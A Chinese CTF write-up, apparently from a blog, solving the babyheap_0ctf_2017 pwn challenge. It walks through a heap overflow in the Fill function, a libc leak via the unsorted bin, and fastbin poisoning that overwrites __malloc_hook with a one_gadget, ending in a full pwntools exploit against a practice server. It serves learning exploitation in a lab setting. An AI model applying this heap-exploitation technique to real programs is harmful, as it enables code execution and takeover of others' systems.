babyheap_0ctf_2017

babyheap_0ctf_2017

使用checksec查看:
在这里插入图片描述
保护全开,看到PIE的时候就想到需要泄露libc_base_addr

拉进IDA中看吧:
在这里插入图片描述
一个死循环,主要功能AllocateFillFreeDump,这边我已经修改函数名了,接下来一个一个看

首先是创建堆:
在这里插入图片描述
最多创建15个chunk、每个chunk的最大size是4096

*(0x18LL * i + a1) = 1;创建chunk时给了标志1

接着是编辑堆内容:
在这里插入图片描述
判断了标志存不存在,若chunk存在,让用户输入size存放到v3变量中。

漏洞点就出在这,v3的大小并没有进行判断,导致可以堆溢出,进行下个堆的修改。

接着的Free()函数和Dump()函数都是中规中矩的。这里就不贴图了。

首先根据每个函数写出对应得操作函数:

def allocate(size):
    r.recvuntil('Command: ')
    r.sendline('1')
    r.sendline(str(size))

def fill(idx,payload):
    r.recvuntil('Command: ')
    r.sendline('2') 
    r.sendline(str(idx))
    r.sendline(str(len(payload)))
    r.send(payload) 
    
def free(idx):
    r.recvuntil('Command: ')
    r.sendline('3')
    r.sendline(str(idx))   
    
def dump(idx):
    r.recvuntil('Command: ') 
    r.sendline('4')
    r.sendline(str(idx))    
    r.recvuntil('Content: \n')

因为程序开启了PIE,所以我们需要先泄露程序的libc_base_addr

通过unsortedbin的特性,若unsortedbin中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88,通过main_arena我们就可以获取到libc的基地址。

首先创建三个chunk,最后一个要大于0x80,等会儿通过这个chunk获取mian_arena地址
allocate(0x60)#0
allocate(0x40)#1
allocate(0x100)#2

创建完成之后,heap如下:
在这里插入图片描述
在这里插入图片描述
通过堆溢出,修改chunk0时修改chunk1伪造出一个fake_chunk,使fake_chunk能够覆盖到chunk2的fd和bk指针处。

fill(0,0x60*b'M'+p64(0)+p64(0x71))

修改完之后堆空间布局如下:

此时fake_chunk还不完整,我们还需通过修改chunk2将这个fake_chunk补充完整:

fill(2,0x10*b'M'+p64(0)+p64(0x71))

修改完之后堆空间布局如下:
在这里插入图片描述
接着free掉chunk1再申请0x60大小的chunk就能将,chunk2的fd和bk指针所在的地址给带出来了。

本题使用的是calloc()来创建chunk,创建时会将chunk内的有数据清零,所以我们还需要将原来的chunk2给还原回去:

fill(1,0x40*b'M'+p64(0)+p64(0x111))

还原之后的堆布局如下:
在这里插入图片描述
这里还需要注意的是,为了防止unsortedbin粘连,我们还需要申请一个chunk。

最后只需free chunk2、dump chunk1就能获取到main_arena+88的地址了。
在这里插入图片描述
在pwndbg中输入libc可以查看到调试的时候的libc的地址:
在这里插入图片描述
计算公式是:libc_base = main_arena - offest

计算出offest = 0x3C 3B78 这样打远程的时候就可以计算出libc_base_addr

leak出了libc base ,接着通过 改malloc_hookone_gadget 即可成功getshell
找到malloc_hook 地址,寻找满足fastbin 对齐检查的fake chunk addr ,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。
在这里插入图片描述
在这里插入图片描述

exp:

from pwn import *

#start
# r = process("../buu/babyheap_0ctf_2017")
r = remote("node4.buuoj.cn",28184)

#params
def allocate(size):
    r.recvuntil('Command: ')
    r.sendline('1')
    r.sendline(str(size))

def fill(idx,payload):
    r.recvuntil('Command: ')
    r.sendline('2') 
    r.sendline(str(idx))
    r.sendline(str(len(payload)))
    r.send(payload) 
    
def free(idx):
    r.recvuntil('Command: ')
    r.sendline('3')
    r.sendline(str(idx))   
    
def dump(idx):
    r.recvuntil('Command: ') 
    r.sendline('4')
    r.sendline(str(idx))    
    r.recvuntil('Content: \n')


#libc
gdb.attach(r,"b *$rebase(0x114D)")
allocate(0x60)#0
allocate(0x40)#1
allocate(0x100)#2
fill(0,0x60*b'M'+p64(0)+p64(0x71))
fill(2,0x10*b'M'+p64(0)+p64(0x71))
free(1)
allocate(0x60)
fill(1,0x40*b'M'+p64(0)+p64(0x111))
allocate(0x100)#3 防粘连
free(2)
dump(1)
# gdb.attach(r)
main_arena = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = main_arena - 0x3c4b78

#attack
malloc_hook = main_arena-0x68
fake_chunk = malloc_hook-0x23
free(1)
fill(0,b"M"*0x60 + p64(0) + p64(0x71) + p64(fake_chunk) + p64(0))
allocate(0x60)
allocate(0x60)

fill(2,b'M'*3 + p64(0) + p64(0) + p64(libc_base + 0x4526a))
allocate(0x100)

r.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值